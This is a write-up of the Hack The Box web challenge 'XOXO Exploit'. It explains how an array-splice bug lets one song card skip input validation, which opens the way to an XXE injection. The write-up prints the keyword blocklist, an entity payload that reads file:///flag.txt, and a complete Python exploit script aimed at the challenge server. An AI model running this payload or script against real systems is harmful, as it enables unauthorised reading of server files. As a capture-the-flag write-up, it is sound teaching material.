HTB XOXO Exploit writeup: a skipped index and an XXE
Spoilers for HTB XOXO Exploit, a very easy web challenge.
The first payload in XOXO Exploit came back 400 {"error":"Try harder lmao"}.
Fair enough. The filter blocks <!, ENTITY,
SYSTEM, DOCTYPE and a handful of namespace patterns, so the
obvious external entity is not getting through the front door.
What it does not block is a song card that validation never sees. The validation
loop calls songs.splice(i, 1) when the artist is Drake or Drizzy, then
increments i anyway. Everything after the removed card shifts left, and
the element that lands in slot i is skipped. A second loop renders the
whole surviving array into XML, skipped element included.
Put the payload directly after a Drake card and it reaches the parser unvalidated.
The app is an Express song-card collector. Register, post three songs, and it
interpolates the fields into an XML document that libxmljs parses with
replaceEntities: true. The Dockerfile puts the real flag at
/flag.txt, and JWT_SECRET is randomised at boot, so a normal
account is enough.
I ran everything from Kali in WSL. ZIP password is the usual
hackthebox.
mkdir -p ~/xoxo && cd ~/xoxo
unzip -P hackthebox a3316db4-f5e1-4218-ad12-0da167bfed9c-1794326893.zip
the filter
POST /createSongCards requires a JWT and at least three song objects.
Every field goes through sanitizeInput:
const forbiddenPatterns = [
/<!/i, /SYSTEM/i, /ENTITY/i, /DOCTYPE/i, /xmlns/i,
/xsi:/i, /schemaLocation/i, /noNamespaceSchemaLocation/i
];
The fields then land inside quoted entity declarations:
const xml = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE songCard [
<!ENTITY songName "${song.songName}">
<!ENTITY artist "${song.artist}">
<!ENTITY thoughts "${song.thoughts}">]>
<songCard>...<songName>&songName;</songName>
<thoughts>&thoughts;</thoughts>...</songCard>`;
Anything that survives validation is DTD syntax.
the loop that skips
for (var i = 0; i < songs.length; i++) {
const song = songs[i];
// ... all checks, including sanitizeInput ...
if (song.artist.toLowerCase().includes('drizzy') ||
song.artist.toLowerCase().includes('drake')) {
songs.splice(i, 1);
continue;
}
}
One removed element, one skipped index. It is the kind of bug that survives a careful review of the checks, because every check is correct and one input simply never reaches it.
the payload
Each controlled string sits inside a quoted value, so close the quote, declare the
entity, then open a dummy so the template's trailing "> still parses.
thoughts is the last declaration before ]>.
hack"><!ENTITY xxe SYSTEM "file:///flag.txt"><!ENTITY dummy "
Which produces:
<!ENTITY thoughts "hack"><!ENTITY xxe SYSTEM "file:///flag.txt"><!ENTITY dummy "">]>
Reference &xxe; from songName and the expanded file
is stored in the card. GET /api/songs hands it back.
the script
import json, urllib.request
BASE = "http://154.57.164.64:36774"
def req(path, data=None, token=None):
headers = {"Content-Type": "application/json"}
if token:
headers["Authorization"] = "Bearer " + token
body = json.dumps(data).encode() if data is not None else None
r = urllib.request.Request(BASE + path, data=body, headers=headers,
method="POST" if body else "GET")
with urllib.request.urlopen(r, timeout=15) as resp:
return resp.status, resp.read().decode()
status, out = req("/api/register", {
"username": "xoxofan42",
"password": "hackthebox",
"confirmPassword": "hackthebox",
})
print("register:", status, out)
token = json.loads(out)["token"]
# element 0 is the Drake card, so element 1 escapes validation entirely
payload = [
{"songName": "Drake", "artist": "Drake", "thoughts": "skip me"},
{"songName": "&xxe;", "artist": "&xxe;",
"thoughts": 'hack"><!ENTITY xxe SYSTEM "file:///flag.txt"><!ENTITY dummy "'},
{"songName": "Starboy", "artist": "The Weeknd", "thoughts": "xoxo"},
]
status, out = req("/createSongCards", payload, token)
print("create:", status, out)
status, out = req("/api/songs", token=token)
print("songs:", status, out)
result
The card is stored with the file contents where the song name should be:
create: 200 {"success":true,"message":"Song cards created!"}
songs: 200 [{"id":1795615984955.7954,"userId":3,"songData":{
"songName":"HTB{...}",
"artist":"HTB{...}",
"thoughts":"hack", ...}}, ...]
Two small bugs stacked. Mutating the array while iterating it is one. Interpolating user data into XML with entity replacement on is the other. Either alone is survivable.
The filter is the part worth copying into a review checklist. It blocked every obvious payload and still lost, because the bug was in control flow. When you audit a validator, check what it rejects and also whether every input reaches it.
posted in challenges · tagged web, xxe, very easy · all HTB writeups